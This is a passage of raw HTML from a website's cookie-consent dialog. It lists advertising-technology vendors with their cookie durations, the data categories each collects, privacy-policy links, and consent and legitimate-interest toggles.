role="link" aria-label="NextRoll, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.nextroll.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, NextRoll, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="130"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Teads France SAS</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="132" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Teads France SAS, View details" tabindex="0" data-vendor-id="132" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="132" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Teads France SAS, Privacy policy" tabindex="0" data-policy-link="https://privacy-policy.teads.com/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Teads France SAS" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="132"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-132"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Teads France SAS" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="132" id="fc-preference-slider-gvl-vendor-132" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Ströer SSP GmbH (SSP)</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="136" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Ströer SSP GmbH (SSP), View details" tabindex="0" data-vendor-id="136" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="136" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Ströer SSP GmbH (SSP), Privacy policy" tabindex="0" data-policy-link="https://www.stroeer.de/ssp-datenschutz" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Ströer SSP GmbH (SSP)" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="136"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-136"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Ströer SSP GmbH (SSP)" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="136" id="fc-preference-slider-gvl-vendor-136" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>OS Data Solutions GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="137" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="OS Data Solutions GmbH, View details" tabindex="0" data-vendor-id="137" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="137" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="OS Data Solutions GmbH, Privacy policy" tabindex="0" data-policy-link="https://osdatasolutions.de/datenschutz/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, OS Data Solutions GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="137"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-137"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, OS Data Solutions GmbH" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="137" id="fc-preference-slider-gvl-vendor-137" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Permodo GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="139" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Permodo GmbH, View details" tabindex="0" data-vendor-id="139" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Permodo GmbH, Privacy policy" tabindex="0" data-policy-link="https://permodo.com/de/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Permodo GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="139"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Platform161 B.V.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 396 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="140" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Platform161 B.V., View details" tabindex="0" data-vendor-id="140" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="140" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Platform161 B.V., Privacy policy" tabindex="0" data-policy-link="https://verve.com/dsp-cookies-privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Platform161 B.V." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="140"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Basis Global Technologies, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="156" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Basis Global Technologies, Inc., View details" tabindex="0" data-vendor-id="156" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Basis Global Technologies, Inc., Privacy policy" tabindex="0" data-policy-link="https://privacy.basis.net/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Basis Global Technologies, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="156"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-156"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Basis Global Technologies, Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="156" id="fc-preference-slider-gvl-vendor-156" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>SMADEX, S.L.U.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="161" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="SMADEX, S.L.U., View details" tabindex="0" data-vendor-id="161" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="161" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="SMADEX, S.L.U., Privacy policy" tabindex="0" data-policy-link="https://smadex.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, SMADEX, S.L.U." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="161"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Bombora Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="163" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Bombora Inc., View details" tabindex="0" data-vendor-id="163" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="163" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Bombora Inc., Privacy policy" tabindex="0" data-policy-link="https://bombora.com/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Bombora Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="163"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-163"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Bombora Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="163" id="fc-preference-slider-gvl-vendor-163" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>EASYmedia GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="168" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="EASYmedia GmbH, View details" tabindex="0" data-vendor-id="168" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="168" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="EASYmedia GmbH, Privacy policy" tabindex="0" data-policy-link="https://login.rtbmarket.com/gdpr" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, EASYmedia GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="168"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Remerge GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="192" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Remerge GmbH, View details" tabindex="0" data-vendor-id="192" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Remerge GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.remerge.io/service-privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Remerge GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="192"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-192"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Remerge GmbH" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="192" id="fc-preference-slider-gvl-vendor-192" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>advanced store GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: Device identifiers</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="195" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="advanced store GmbH, View details" tabindex="0" data-vendor-id="195" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="195" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="advanced store GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.advanced-store.com/en/data-privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, advanced store GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="195"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-195"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, advanced store GmbH" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="195" id="fc-preference-slider-gvl-vendor-195" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Magnite CTV, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 366 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="202" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Magnite CTV, Inc., View details" tabindex="0" data-vendor-id="202" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="202" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Magnite CTV, Inc., Privacy policy" tabindex="0" data-policy-link="https://www.magnite.com/legal/advertising-technology-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Magnite CTV, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="202"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-202"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your 